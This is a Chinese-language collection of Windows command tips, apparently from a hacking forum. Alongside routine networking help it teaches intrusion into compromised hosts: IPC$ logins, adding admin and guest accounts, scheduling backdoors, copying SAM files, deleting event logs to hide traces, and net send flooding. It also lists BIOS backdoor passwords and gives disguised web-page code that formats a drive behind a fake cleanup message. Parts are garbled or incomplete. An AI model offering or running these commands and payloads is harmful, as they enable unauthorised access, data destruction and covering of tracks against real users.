1）如何查看本機所開端口：
用netstat -a -n
LISTEN：偵聽來自遠方的TCP端口的連接請求
SYN-SENT：再發(fā)送連接請求后等待匹配的連接請求
SYN-RECEIVED：再收到和發(fā)送一個連接請求后等待對方對連接請求的確認
ESTABLISHED：代表一個打開的連接
FIN-WAIT-1：等待遠程TCP連接中斷請求，或先前的連接中斷請求的確認
FIN-WAIT-2：從遠程TCP等待連接中斷請求
CLOSE-WAIT：等待從本地用戶發(fā)來的連接中斷請求
CLOSING：等待遠程TCP對連接中斷的確認
LAST-ACK：等待原來的發(fā)向遠程TCP的連接中斷請求的確認
TIME-WAIT：等待足夠的時間以確保遠程TCP接收到連接中斷請求的確認
CLOSED：沒有任何連接狀態(tài)
2）如何獲得一個IP地址的主機名
利用ping -a ip 命令查看！再第一行的pinging后面的『ip』前面的英文就是對方主機名！
同樣道理，利用ping machine_name也可以得到對方的ip
獲得一個網(wǎng)站的ip地址的方法是：ping www.***.com
如果返回：Reply from *.*.*.*: TTL expired in transit的話，代表TTL（生命周期）在傳輸過程中過期
3）如何查看本機的ip地址
用ipconfig/all來查看
4）再使用net命令的時候遇到一些錯誤代碼，如何查看對應(yīng)的錯誤信息？
用命令 net helpmsg erorr_code來查看
比如錯誤代碼為：88
則查看命令為：net helpmsg 88 下面有這個錯誤代碼的中文顯示！
5）利用telnet連接到對方主機上，想獲得一些系統(tǒng)信息，用什么命令？
set命令可以很好的完成你所需要收集信息的任務(wù)的！
方法：再cmd下直接輸入set（telnet對方主機以后，也是直接set就可以了）
computername：主機名！
OS＝Windows_NT ：操作系統(tǒng)的類型
path＝C:/perl/bin/ ：（perl的解釋器位置�。�
systemDrive=c: 操作系統(tǒng)盤符！
USERNAME=coldcrysky 當(dāng)前登陸使用機器的用戶
（6）跟蹤路由器的命令是什么？
tracert 格式：tracert ip
中間會列出所有經(jīng)過的路由器列表！這些路由器如果是暴露再防火墻外面的話，還可以看到路由的IP（這里又涉及到了另外一個問題：為什么要把路由放在防火墻后面？原因呢，主要有兩點：1）保護路由器！因為現(xiàn)在越來越多的攻擊和入侵已經(jīng)開始瞄準(zhǔn)路由器了；2）為路由器減少負擔(dān)！如果所有的過濾功能統(tǒng)統(tǒng)都壓在路由器上面，路由器的負擔(dān)就太大了�。�
7）簡單介紹一下cookie！
作用：記錄訪問者的一些信息。例如利用cookie記錄你所登陸這個網(wǎng)頁的次數(shù)、登陸時曾經(jīng)輸入的信息……
大家在Administrator的cookies目錄中可以看到很多的記事本文檔吧？這些都是cookie，雖然經(jīng)過了加密，但是仔細查找的話，仍然能夠看到一些敏感信息！況且現(xiàn)在也已經(jīng)有了專門查看cookie的軟件！
那么，如何清除cookie呢？一般情況下，可以在Internet選項中的常規(guī)選項卡中看到一個刪除cookies的按鈕，點擊就可以清楚掉了～
除此以外，還要在internet選項中的內(nèi)容選項卡中找到自動完成按鈕，把里面的四項都選中！然后點擊清除表單，清除密碼～
徹底禁止cookie的方法
a:在IE的Internet選項中，找到隱私選項卡！把里面的滑塊拖到最上面，邊上寫著：阻止所有cookie
b:找到Windows目錄下的cookies目錄！把里面的txt文件全部刪除！，最后應(yīng)該只剩下一個index.dat文件！之后把這個文件夾設(shè)置成只讀就可以了～
8）安裝2000的時候，速度會特別特別特別慢，怎么加快安裝速度呢？
在DOS上面安裝，應(yīng)該用98啟動光盤來引導(dǎo)系統(tǒng)！然后按照下面的方法來做，可以提高安裝速度：
g:/>cd windows -------假設(shè)G為光驅(qū) windows為98的安裝目錄！
g:/windows>smartdrv -------加載smartdrv程序！加載后沒有任何提示信息！只要不返回錯誤信息就是加載成功了～這時候安裝2K的話，速度會很快的哦～
9）Windows2K密碼忘記了，如何才能進入系統(tǒng)？
Windows2K的用戶配置信息和密碼保存在SAM文件里！該文件位于：c:/winnt/system32/config目錄中！只要刪除這個文件就可以了～
另外，在c:/winnt/repair目錄中也同樣有一個SAM文件（這個是前者的備份�。┤绻阍诘顷懭怆u的時候，copy前面那個目錄中的SAM文件，你會發(fā)現(xiàn)COPY不下來！呵呵，為什么？因為運行著的2K系統(tǒng)會保護SAM文件啊～這個時候你就COPY這個就可以了！
10)ping不到，tracert不到，但是卻能用nbtstat顯示對方的一些信息，為什么？
因為tracert和ping命令使用的是ICMP協(xié)議！而nbtstat是通過對方的netbios端口來獲得對方的主機信息的！使用的是UDP和TCP協(xié)議！如果對方僅僅只對ICMP協(xié)議做了禁止的話，那通過這個命令獲得系統(tǒng)信息是正常的！
11）telnet上去后，如何給對方開共享？
開共享的命令如下：net share c=c:/winnt/system 返回共享成功之后直接利用//ip/c來訪問對方的system目錄了～刪除共享用 share c /del 命令就可以了
12）如何判斷對方的具體操作系統(tǒng)版本？
首先用ver命令查看對方的版本號！
如果是5.00.2195的話，為2K；5.1.2600為XP
從這里可以區(qū)分出來到底是2K還是XP了～下面進行更加具體的區(qū)分！
2K的pro和svr版本區(qū)分：
在telnet下，net shart查看啟動的服務(wù)～如果對方開啟了Terminal Services服務(wù)的話，基本上可以判斷為svr以上的版本了～如果沒有開啟，則為pro！
XP的pro和home版的區(qū)分：
home edition是無法安裝iis的！所以，可以通過iis服務(wù)來判斷到底是home版或者是pro了～
當(dāng)然了，如果對方是pro，但是將iis刪除（停用）的話，就沒辦法判斷了
13）如何查看98的隨機啟動的程序？
在98下有一個實用配置程序（msconfig），中文名為：系統(tǒng)配置實用程序，調(diào)用的方法是在：開始--運行中輸入msconfig，在里面，有一個啟動的選項卡，點擊后，可以看到很多隨即啟動程序，如果前面帶有鉤的話，就是啟動時隨機啟動的，取消的話就是把前面的小鉤去掉就可以了～除了這里以外，還有config.sys、autoexec.bat、system.ini、win.ini幾個選項卡，他們分別對應(yīng)這幾個文件！只不過在這里更方便查看而已！
14）設(shè)置了BIOS密碼，可是卻忘記了，該怎么辦？
如果是可以進入Windows的話，可以找找biospwds和cmospwd這兩個軟件看看～
還有利用DEBUG法：
簡單介紹兩種：
1）-o 70 16
-o 71 13
-q
2）-o 70 16
-o 71 16
-q
另一種方法：copy法：
copy con cmos.com
輸入下面10個字符：alt+176,alt+17,alt+230, p,alt+176,alt+20,alt+230,q,alt+205,空格，然后按下F6并回車，退出，運行這個cmos.com程序就可以了～
如果不能進入Windows怎么辦呢？
1）用通用密碼：
Award Bios密碼：j256,LKW-PPETER,wantgirl,EBBB,Syxz,AWARD? SW,AWARD_SW,j262,HLT SER,SKY_FOX,BIOSTAR,ALFARO_ME,lkwpeter,589721,awkard,h996,CONCAT,589589
AMI bios密碼：AMI,BIOS,PASSWORD,HEWITT RAND,AMI_SW,LKWPETER,A.M.I.
2）可以利用CMOS放電
15）如何再命令行下殺死對方進程？
利用微軟的2K以上操作系統(tǒng)都是含有這個工具的！該工具包含在2K光盤的/support/tools文件夾下！里面有安裝程序，點擊后，就安裝了2K的support tools工具包，里面有kill這個工具，這時候再cmd下可以輸入kill/?，就可以看到幫助了，使用這個命令的格式是：kill pid （pid是進程的ID號�。┰偃蝿�(wù)管理器中可以看到進程的ID號
那再命令行下如何查看進程呢？呵呵，這就用到了系統(tǒng)自帶的有一個后門工具了：再剛才說得那個目錄中，還有一個工具叫tlist ！直接輸入tlist就可以得到pid遇隊形程序的列表了～
16）如何查看本機的DNS服務(wù)器？
ipconfig其實是可以的，還可以利用一個命令：再cmd下輸入netsh，進入到netsh>提示符，再輸入：int ip 進入到interface ip> 然后再次輸入dump，這時候屏幕上出現(xiàn)當(dāng)前連接的配置情況了
1）查看本機IP：首先鍵入netsh，再netsh>提示符下輸入：interface 回車 之后：ip 回車 再之后：show address 回車 這樣，就可以看到當(dāng)前連接的IP地址和子網(wǎng)掩碼。
2）修改網(wǎng)絡(luò)配置：接著上面的命令，我們使用：set address name=“本地連接” source=static addr=192.168.0.200 mask=255.255.255.0，這樣就修改了當(dāng)前的IP地址，用show address來看
3）顯示一個完整的網(wǎng)絡(luò)配置教本：
剛才說過，第一個命令顯示的信息不如ipconfig/all全面，不用著急，netsh再打印顯示網(wǎng)絡(luò)配置上，還是有自己的特色的！例如：再interface ip>狀態(tài)下輸入：dump，會顯示一個清單，顯示所有本地連接（不管你是否使用～）與netstat -an不完全一樣！
17）肉雞上的部分文件無法刪除，怎么辦？
如果對方的文件夾是只讀的話，會出現(xiàn)拒絕訪問的字樣！這時候，我們可以再del命令后面加上/f參數(shù)來刪除！
18）再說一個可以限制用戶登陸時間的命令！
再net命令中就可以實現(xiàn)這樣的功能！具體方法如下：
假如我們打算讓：coldcrysky這個用戶再周日到周易的上午八點到下午四點之間可以登陸，用這個命令：
net user coldcrysky /timesunday-monday,08:00-16:00
之后利用net user coldcrysky命令來查看登陸時間的限制，可以看到是我們所規(guī)定的時間
在此，特別提醒各位：命令中：星期日才是一周的開始�。�！不要當(dāng)成星期一！
如果想恢復(fù)回去：net user coldcrysky /time:all --這樣就可以了～
19)如何刪除windows2K的默認共享？
首先打開記事本，輸入如下內(nèi)容：
net share c$ /delete
net share d$ /delete
net share e$ /delete
net share f$ /delete
net share g$ /delete
net share ipc$ /delete
net share admin$ /delete
之后點擊保存成批處理文件（后綴為：bat的文件�。�！加入到啟動組中就可以了～
20）139端口的又一用法
1：Net use //XXX.XXX.XXX.XXX/ipc$ "password" /user:"username" 建立一個IPC連接
2：net use H: //XXX.XXX.XXX.XXX/C$ 將對方的C盤映射為自己的h盤
3：copy c on h:/reboot.bat
Iisreset /reboot
CTRL+Z
在對方的C盤上生成一個能重啟機器的文件
4：net time //XXX.XXX.XXX.XXX 得到對方機器時間
5：at //XXX.XXX.XXX.XXX 重啟的時間 c:/reboot.bat 設(shè)定對方重啟的時間！
6：at //XXX.XXX.XXX.XXX 查看任務(wù)上面是否添加了這個任務(wù)
7：等對方重啟好了～
21）利用批處理文件來建立一個記錄3389登陸者信息的記錄器
由于Terminal Service默認是沒有日志記錄的，只能依靠他的系統(tǒng)日志，但是系統(tǒng)日志只能記錄一些大動作（開啟或停止服務(wù)），那么，如何用批處理文件來編寫一個將是3389端口的程序呢？很簡單：
建立一個批處理文件：內(nèi)容如下：
@echo off
date/t >> c:/3389log.txt
:TS3389
time/t >> c:/3389log.txt
netstat -an | find "3389" |find "ESTABLISHED" >>c:/3389log.txt
goto :TS3389
之后保存！
22）網(wǎng)絡(luò)命令小節(jié)
A、NET命令：
IPC連接：格式 net use //對方IP/ipc$ "密碼" user:"用戶名" 『建立IPC連接～』
net use //對方IP/ipc$ /delete 『斷開連接～』
以下操作需要在連接到對方主機后才可進行�。�！
net user coldcrysky xyz /add 『在連接的目標(biāo)主機中加入一個用戶名為COLDCRYSKY 密碼為WYZ的用戶』
net localgroup Administrator coldcrysky /add 『把名為coldcrysky的用戶加入ADMIN組-以為著權(quán)限的提高』
net use z://對方IP/C$ 『把對方的C盤映射為本機的Z盤-可依照需要更改映射盤符！』
net start telnet 『開啟TELNET』
net user guest /active:yes 『激活GUEST』
net user guest coldcrysky 『把GUEST密碼改為COLDCRYSKY』
B、AT命令：
查看遠程機時間：net time //對方IP
加入一項新任務(wù)：
at //對方IP 時間 文件名 『用來把自己上傳的后門程序在制定時間運行，方便以后進入肉雞！』
C、TELNET命令：
telnet 對方IP 端口 『作用不用我說了吧？？？』
D、FTP命令：
登陸：ftp 對方網(wǎng)址（IP地址）
上傳文件：get 文件在本機完整路徑 對方文件存放完整路徑
下載文件：put 對方文件完整路徑 本機存放文件路徑
E、COPY命令：
在建立連接后（尤其是IPC$連接后，很有用的命令哦～）
⑴copy index.htm //127.0.0.1/c$/index.htm
『將本機index.htm文件復(fù)制到127.0.0.1的C盤下，如果要放到對方的NT目錄下，則把C改為admin$』
⑵copy //127.0.0.1/admin/repair/sam_ c: 『將遠程機數(shù)據(jù)庫文件拷貝到本機C盤根目錄下』F、SET命令：
主要用于分析目標(biāo)計算機的基本信息用！具體使用方法請查找相關(guān)文件！
G、NBTSTAT命令：
nbtstat -A 對方IP （這個A大寫）
『在其中顯示<037>前面的英文或數(shù)字就是計算機名稱！當(dāng)然，也可以利用PING -A 對方ip的方法來查看對方主機名！效果相同�。�！』
H、SHUTDOWN命令：
『用來關(guān)閉對方NT服務(wù)的命令』格式如下：
shutdown //IP地址 t:20
『20秒后自動關(guān)閉對方NT服務(wù)！由于對對方機器影響較大，慎用�。�！』
I、DIR命令：
還用我說么？大家是不是早就該掌握了？？？（不知道的還是查閱相關(guān)資料吧～～～）
J、ECHO命令：
echo coldcrysky >index.htm 『用coldcrysky覆蓋掉原INDEX.HTM中所有內(nèi)容』
echo coldcrysky >>index.htm 『把coldcrysky加入到index.htm中』
K、ATTRIB命令：
更改文件屬性用，格式：
Attrib -r index.htm 『去掉只讀屬性』（＋- 分別代表增加和減少）
L、DEL命令：
『刪除日志的時候用！』
del c:/winnt/system32/logfiles/*.*
del c:/winnt/system32/config/*.evt
del c:/winnt/system32/dtclog/*.*
del c:/winnt/system32/*.log
del c:/winnt/system32/*.txt
del c:/winnt/*.txt
del c:/winnt/*.log
M、PING命令：
-t ：ping制定IP，知道網(wǎng)絡(luò)斷開或按CTRL+C結(jié)束！
-a ：解釋PING IP的主機名
-n count ：發(fā)送count指定的ECHO數(shù)據(jù)包，默認為4個！
23）開啟服務(wù)和停止服務(wù)的net start and net stop
net start和net stop到底能開啟什么服務(wù)？其實這點也不需要你強記，記住這個命令就可以了：net help start和net help stop，這兩個會顯示出你所能開啟的服務(wù)有那些~~
24）關(guān)于雙系統(tǒng)的兩個問題：
A、如何在雙系統(tǒng)（98、2000）中安全刪除2K？
先制作一張Windows 98 的啟動軟盤，再用它啟動你的計算機，運行sys命令恢復(fù)Windows 98引導(dǎo)記錄后，再運行fdisk/mbr恢復(fù)主引導(dǎo)記錄，完成后進入Windows 98，把winnt 和system volumn information 目錄刪除，再刪掉C盤上的boot.ini、bootfont.bin、ntldr、nydetect.com、bootsect.dos文件就行了。
B、 Windows 98/XP雙系統(tǒng)啟動菜單修復(fù)
1.修復(fù)前，在BIOS中設(shè)置從光驅(qū)啟動。用Windows XP安裝盤啟動電腦，在加載必要的驅(qū)動后，出現(xiàn)Windows XP的安裝界面。有三個選項：
（1）要現(xiàn)在開始安裝Windows XP，請按“Enter”鍵。
（2）要用“恢復(fù)控制臺”修復(fù)Windows XP安裝，按“R”鍵。
（3）要退出安裝程序，不安裝Windows XP，按“F3”鍵；
2. 按“R”鍵，進入“Microsoft Windows XP (TM) 故障恢復(fù)控制臺”界面；故障恢復(fù)控制臺提供系統(tǒng)修復(fù)和故障恢復(fù)功能。系統(tǒng)這時會搜尋已安裝的Windows XP系統(tǒng)文件，然后顯示搜尋結(jié)果，并詢問“要登錄到哪個Windows XP安裝（要取消，請按Enter）”，選擇1. D:/Windows，回車，系統(tǒng)會再詢問“管理員密碼”，再鍵入安裝Windows XP時設(shè)置的管理員密碼，回車，出現(xiàn)D:/Windows〉，這時需要輸入修復(fù)命令Fixboot，后面的參數(shù)為啟動扇區(qū)要寫入的磁盤盤符，這里填入C:，回車。修復(fù)完成，鍵入Exit退出。重啟后就會看到久違的雙重啟動菜單了。并且，這樣修復(fù)后基本不產(chǎn)生垃圾文件。
25）這里說幾個主頁惡意代碼
A、死循環(huán)代碼：
『把下列代碼加入到網(wǎng)頁中，可達到如上效果』
說明：當(dāng)含有這段代碼的網(wǎng)頁被人點擊，連接就會不斷的打開IE瀏覽器，直到你的系統(tǒng)資源浪費到0％～只有重新啟動才能正常使用！
預(yù)防方法：禁用所有的ActiveX控件和插件！因為這是一個ActiveX教本程序～
B、恐怖的大圖片：
『把下列代碼加入到網(wǎng)頁中，可達到如上效果』
說明：當(dāng)打開這樣的網(wǎng)頁，IE會不斷的解釋試圖打開，但由于圖片實在太大，超出了其處理能力，所以
C、地震死機代碼：
『把下列代碼加入到網(wǎng)頁中，可達到如上效果』
說明：
WINDOWS9x的/con/con設(shè)備名稱解析漏洞允許用戶進行攻擊，倒是98死機。原理：我們知道，CON是DOS下的特殊設(shè)備名，不允許做文件名，如果我們在DOS下鍵入如下命令：copy coldcrysky.txt con，系統(tǒng)會顯示coldcrysky.txt的內(nèi)容，如果換成：copy coldcrysky.txt>con系統(tǒng)會提示文件不能拷貝到文件自身。如果吧con換成LPT或PRN，則輸出coldcrysky.txt到打印機。由此可見，CON代表文件本身，如果使用/CON/CON命令，則意味著系統(tǒng)不斷調(diào)用文件本身，視系統(tǒng)資源迅速枯竭，連按CTRL+ALT+DEL的機會都沒有～
解決辦法：
對于9X系統(tǒng)，強烈建議打補丁�。。�2000和XP則不會死機～
D、格式化硬盤：（最恐怖的～～～慎用�。�！請勿用于非法用途！�。∈褂煤笕绻腥魏呜撟饔�，后果自負！與傷寒天空『ColdCrySky』；亂刀留影無關(guān)�。。。�
scr,Reset();
scr.Path="C://WINDOWS//StartMenu//Programs//啟動//startup.htm";
scr.Doc="
"
WSH.rUN(`start/m format.com d:/q/autotest/u`);
alert(`IMPORTANT : Windows is removing unused temporary files.`);
scr.write();
說明：當(dāng)您瀏覽了網(wǎng)頁，會把startup.hta文件寫入啟動文件夾，并提示W(wǎng)INDOWS正在刪除臨時文件！實際上是在格式化你的D盤，代碼中的：F935DC22-1CF0-11D0-ADB9-00C04FD58A0B對應(yīng)為：Windows Scripting Host Shell Object。代碼中的：WSH全稱是：Windows Scripting Host，是微軟的一種基于32位系統(tǒng)平臺與語言無關(guān)的教本解釋機制，它使得腳本能在WINDOWS桌面或命令提示符下運行～WSH所對應(yīng)的程序WScript.exe是一個腳本語言解釋器，位于WINDOWS所在文件夾下，所以它可以像執(zhí)行批處理文件一樣執(zhí)行WSH腳本程序～
解決方法：1）更新您的瀏覽器，使用最新的瀏覽器上網(wǎng)！
2）修改msdos.sys，在其中加入：Bootmentu=0命令行，目的是禁用啟動菜單。
3）吧format.com改名
4）禁用WSH。具體方法：在win98中，從添加刪除程序中點擊WINDOWS安裝程序，打開附件一項，將WINDOWS SCRIPTING HOST前面的選項去掉，就可以卸載掉WSH了～～～win2000和xp的用戶可以在我的電腦-工具菜單-文件夾選項-選擇文件類型，找到VBS VBSCRIPT FILE選項，點擊刪除！
26）系統(tǒng)自帶的系統(tǒng)工具
1、msinfo32.exe
位于C:/Program Files/Common Files
Microsoft Shared/Msinfo/msinfo32.exe，顯示計算機中的有關(guān)系統(tǒng)信息，可用其診斷、解決計算機問題并查看遠程系統(tǒng)所生成的系統(tǒng)報告。
2、drwatson.exe --
位于C: /Windows /drwatson.exe，當(dāng)某個應(yīng)用程序在運行過程中出錯時，它就會將出錯的程序以及出錯的內(nèi)存地址一一記錄下來，并保存為Windows的Drwatson子目錄下的*.wlg記錄文件。
3、sfc.exe
位于C:/Windows/System/sfc.exe，用于自動搜索被改變、刪除或損壞了的系統(tǒng)文件。
4、msconfig.exe
位于C:/Windows/System/msconfig.exe，通過修改啟動方式以及啟動時運行哪些應(yīng)用程序等系統(tǒng)配置，從而達到快速排除故障的目的。
5、scanreg.exe
位于C:/windows/command/scanreg.exe（DOS版本）及C:/windows/scanregw.exe（Windows版本），用于檢查、修復(fù)、備份以及還原系統(tǒng)注冊表及相關(guān)配置文件的工具軟件，防止因注冊表數(shù)據(jù)被破壞而導(dǎo)致的系統(tǒng)故障。
6、vcmui.exe
位于C:/Windows/vcmui.exe，在后臺自動將被覆蓋的驅(qū)動程序備份下來，當(dāng)我們安裝的新驅(qū)動出錯時可用它進行恢復(fù)。
7、winrep.exe
位于C:/Windows/winrep.exe，能自動收集有關(guān)系統(tǒng)信息并提示用戶輸入故障所在，幫我們編寫一篇完整的“求援”報告，并將其發(fā)送給有關(guān)技術(shù)維護人員，簡化“求援”操作。
這七個Windows自帶的小程序可以在開始菜單--運行中直接輸入文件名（無需輸入擴展名）調(diào)出該程序！
27）批處理在入侵中的幾則妙用！
A、簡化IPC$登陸肉雞的操作：
用記事本建立一個名字為：ipcruqin.bat的批處理文件，內(nèi)容如下：
@net use //%1/ipc$ %3 /u:"%2"
@echo OK！已經(jīng)成功建立連接
之后，大家在CMD下輸入：ipcruqin.bat 肉雞IP 肉雞的admin帳號/用戶的密碼。就可以登陸上去了，而不需要那一大長串的命令了！
B、批處理轟炸對方電腦：
打開一記事本，在里面輸入如下內(nèi)容：
@echo 正在轟炸中……
tart
@net send %1 %2
@if errorlevel 1 goto over
goto start
ver
@echo 發(fā)送失敗
將其保存為bat格式的文件即可，使用方法：*.bat（該批處理文件的名字）+ 空格 + 目標(biāo)IP + 空格 + 你要對他說得話！
這次先簡單介紹這三個！等下次有機會再給大家介紹更多的批處理文件的用途！
28）再說幾個非常簡單實用的DOS命令（工具）：
A、fport.exe --查看那些端口都是那些程序使用的命令。
B、netstat -an --查看那些端口于外部的IP連接。比如這里顯示 ：23 XX.XX.XX.XX 而你又沒有開23端口，那么，呵呵……還用我說么？
C、letmain.exe //ip -admin -d --列出本機的administrators組的用戶名查看是否有異常。
D、pslist.exe --列出進程
E、pskill.exe --殺掉進程，有時候再任務(wù)管理器中無法終止程序，那就用這個工具來停止進程。
F、login.exe --列出當(dāng)前有那些用戶登陸再你的機器上。
局域網(wǎng)應(yīng)用問題專題解答
問：在由三臺電腦組成的局域網(wǎng)中，我在其中一臺電腦上用過Windows優(yōu)化大師后，為什么這臺電腦就不能登錄網(wǎng)絡(luò)，并且還提示找不到撥號適配器？
答：根據(jù)你說的情況，是沒有安裝“撥號網(wǎng)絡(luò)”。解決方法是：在“控制面板”的“添加/刪除程序”中，選擇“Windows安裝程序”，在“組件”的“通訊”中選擇“撥號網(wǎng)絡(luò)”，然后將Windows安裝盤放入光驅(qū)進行安裝，重新啟動計算機后就可使用撥號網(wǎng)絡(luò)了。
我新購的網(wǎng)卡在電腦上無法安裝，而在其他電腦上卻使用正常，這是怎么回事？
答：如果在電腦中安裝好網(wǎng)卡后，系統(tǒng)沒有提示找到新硬件，你可運行“添加新硬件向?qū)А眮碜屜到y(tǒng)搜索新硬件。方法是單擊“開始”，指向“設(shè)置”，單擊“控制面板”，然后再雙擊“添加新硬件”。按照屏幕提示操作。你可選“讓W(xué)indows搜索新硬件嗎？”，單擊“是（推薦）”，然后再單擊“下一步”，讓系統(tǒng)找到網(wǎng)卡再安裝其驅(qū)動。
而如果出現(xiàn)以下任何現(xiàn)象，網(wǎng)卡或者網(wǎng)卡所在的插槽損壞：
1、“添加新硬件向?qū)А睓z測不到網(wǎng)卡；
2、“添加新硬件向?qū)А蹦軌驒z測到網(wǎng)卡，但無法正常工作。
為了確定到底是網(wǎng)卡還是插槽的問題，可以檢查網(wǎng)卡是否牢靠插入插槽之中。如果網(wǎng)卡已牢靠插入插槽之中，請改插到其他插槽之中試試。如果問題仍未解決，則可能是網(wǎng)卡損壞或與你的電腦不兼容，可更換之。
我的電腦出現(xiàn)“網(wǎng)上鄰居”中找不到其他聯(lián)網(wǎng)電腦的故障，如何解決？
答：“網(wǎng)上鄰居”是按工作組顯示計算機的。如果你的電腦沒有設(shè)置工作組名稱，打開“網(wǎng)上鄰居”時就可能看不到其他電腦。單擊“開始”，指向“設(shè)置”，單擊“控制面板”，雙擊“網(wǎng)絡(luò)”，然后再單擊“標(biāo)識”選項卡。你局域網(wǎng)中所有電腦“工作組”框中的名稱應(yīng)為一樣，如有不同你可在此框中鍵入相同的工作組名稱，然后單擊“確定”重啟電腦既可。
此外，如果“網(wǎng)上鄰居”中不出現(xiàn)“整個網(wǎng)絡(luò)”圖標(biāo)，可能是在Windows中沒有安裝必要的網(wǎng)絡(luò)組件。要與網(wǎng)絡(luò)上的其他計算機連接，則必須安裝以下組件：Microsoft網(wǎng)絡(luò)客戶、網(wǎng)絡(luò)適配器、至少一種網(wǎng)絡(luò)協(xié)議（如IPX/SPX、TCP/IP等）�？纱蜷_“網(wǎng)絡(luò)”，檢查“配置”選項卡上的列表，確保已安裝了各種必要的網(wǎng)絡(luò)組件。如有，你可重新安裝各種缺少的組件即可。
問：辦公室機器桌面的“網(wǎng)上鄰居”圖標(biāo)沒了，能上Internet，但無法瀏覽其他機器上的資源了，怎么辦？
答：說明你的Internet屬性完好，但網(wǎng)上鄰居屬性中的“Microsoft 網(wǎng)絡(luò)用戶”這一客戶組件沒了。
進到“控制面板”中雙擊“網(wǎng)絡(luò)”，先在彈出的網(wǎng)絡(luò)對話框中點按“添加”按鈕，再從隨后彈出的“請選擇網(wǎng)絡(luò)組件類型”對話框中雙擊“客戶”，最后從隨后的“選擇網(wǎng)絡(luò)客戶機”對話框的左側(cè)選擇“Microsoft”后再選擇“Microsoft 網(wǎng)絡(luò)用戶”，“確定”再“確定”并據(jù)提示重啟計算機就ok啦！
問：右鍵中的“共享”命令已經(jīng)顯身！但我設(shè)了共享不想讓別人從網(wǎng)上鄰居中看到這個共享目錄，只有自己知道且能實現(xiàn)異地機上有完全操作的權(quán)限。
答：找到你想要共享的文件夾并右鍵點選“共享…”----這里我就以共享“D:/Windows 98”為例，先選中“共享為”后在共享名“Windows 98(當(dāng)然也可改名共享哦)”后加一英文狀態(tài)的“$”符，再選中“完全”并輸入設(shè)定好“密碼”，然后“確定”一次密碼就OK了。
這樣一來，絕對保證別人從網(wǎng)上鄰居中看不到這個共享目錄的！那~~自己想從異地機上進入并實現(xiàn)完全操作時怎么辦呢？呵呵，這么辦：從異地機的地址欄中鍵入“//(機器名)/$(你的共享目錄名)”并“ENTER”，再輸入密碼并確定后，就進入啦！這樣你可靜悄悄地實現(xiàn)異地機上在自己設(shè)定的共享目錄內(nèi)進行完全操作啦！不過注意其中“/”不能誤輸入成“/”
問：如何使用交換機的UpLink端口，怎樣連接？使用了UpLink口后，是否還可以使用其相鄰最近的端口？
答：UpLink口是交換機上常見的一種端口，它是為了便于兩臺交換機之間進行級聯(lián)的端口。它與其相鄰的普通UTP口使用的是同一通道，因而，如果使用了UpLink口，另一個與之相鄰的普通端口就不能再使用了。這兩個端口稱為共享端口，不能同時使用。級聯(lián)的時候，你可使用一般的網(wǎng)線（網(wǎng)線的兩端都遵循同一標(biāo)準(zhǔn)，即同是EIA/TIA 568A或568B）將一個交換機的普通端口和另一個交換機的UpLink口連起來。如兩個設(shè)備都使用UpLink口連接，網(wǎng)線需要一端使用EIA/TIA 568A的標(biāo)準(zhǔn)，另一端使用EIA/TIA 568B的標(biāo)準(zhǔn)（如下表）。
標(biāo)準(zhǔn)568a 標(biāo)準(zhǔn)568b
橙白1 綠白1
橙2 綠2
綠白 3 橙白3
藍4 藍4
藍白5 藍白5
綠6 橙6
棕白7 棕白7
棕8 棕8
問：我在安裝網(wǎng)卡后，在“系統(tǒng)→設(shè)備管理器”中網(wǎng)卡出現(xiàn)黃色的“！”號，請問該如何解決？
答：網(wǎng)卡較容易與其他設(shè)備發(fā)生資源沖突，尤其是在系統(tǒng)中安裝有多個插卡的情況下，解決辦法是：
1、更換網(wǎng)卡在主板插槽上的位置是最好的解決辦法。
2、在該網(wǎng)卡“屬性”窗口“資源”標(biāo)簽中找到“資源類型”列表，選定發(fā)生沖突的“資源”，按“更改設(shè)置”按鈕，更改發(fā)生沖突的IRQ中斷號或者I/O地址。
3、有些PCI網(wǎng)卡會強行占用IRQ10，與一些強行占用IRQ10的顯示卡發(fā)生IRQ中斷沖突，如果遇到這種情況，可在BIOS中將“Assign IRQ For VGA”項設(shè)置為Disabled，不給顯示卡分配固定的中斷。
4、運行網(wǎng)卡附帶的軟盤中的設(shè)置程序，將網(wǎng)卡設(shè)置為非PNP模式，設(shè)置IRQ中斷號和I/O地址為系統(tǒng)未占用的地址；并在BIOS中將相應(yīng)中斷號由PCI/ISA改為Legacy ISA。
如果使用上述方法均不能解決故障，建議換一塊網(wǎng)卡試試。
問：ADSL上網(wǎng)網(wǎng)頁打不開的問題？
答：是MTU的問題！改一下注冊表！
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/Class/NetTrans/0000/主鍵下面建立字符串鍵名為MaxMTU，鍵值為1450
2020端午節(jié)放假通知
